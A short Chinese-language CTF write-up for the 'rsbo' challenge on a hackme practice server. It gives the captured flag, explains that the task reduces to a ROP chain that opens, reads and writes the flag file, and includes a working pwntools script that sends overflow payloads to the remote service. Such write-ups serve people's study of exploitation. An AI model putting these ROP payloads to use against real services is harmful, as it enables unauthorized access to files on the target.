December 16, 2018

rsbo

FLAG{Shuffling 15 not a problem, just a piece of cake… XDDDDD…iJgZBwpBFh1TtpQR}

ida 里看到这个程序先读取了”/home/ctf/flag”作为随机数的种子,然后用随机数打乱输入的字符串再输出。一开始以为这是某种密码学+逆向的秘法就像选择明文攻击一样破解出从 flag 里前 0x10u 的内容。心想这玩意也太可怕了吧然后就上网查了下。

发现就是普通的 rop……用 open 打开 flag,读取,输出 flag 就可以了……

学到的是 elf.bss()返回程序的 bss 段,bss 是可读写的可以用来存取脚本里需要的内容。

然后发现 elf.start 直接返回程序入口,这样就不用怕没有符号表,_start 什么的也找不到的情况了。

还有一点感觉很巧的就是用’\x00’作垃圾字段可以直接跳过根据 read 返回值制造的打乱循环,以后可以统一替代毫无意义的’x’(又看了眼作业截图发现学长提醒过了……)

脚本:

from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh', '-c' ]
# io = process("./rsbo", env={'LD_PRELOAD': './libc-2.23.so.i386'})
io = remote('hackme.inndy.tw', 7706)
elf = ELF("./rsbo")

main_addr = elf.start
# gdb.attach(io, "b main")
open_addr = elf.sym['open']
read_addr = elf.sym['read']
write_addr = elf.sym['write']

io.send('\x00'*108 + p32(open_addr) + p32(main_addr) + p32(0x80487d0) + p32(0))
io.send('\x00'*108 + p32(read_addr) + p32(main_addr) + p32(3) + p32(elf.bss()) + p32(100))
io.send('\x00'*108 + p32(write_addr) + p32(main_addr) + p32(1) + p32(elf.bss()) + p32(100))
io.interactive()

如无特殊声明,本页内容采用 CC BY-NC 4.0 授权


Made With Notepad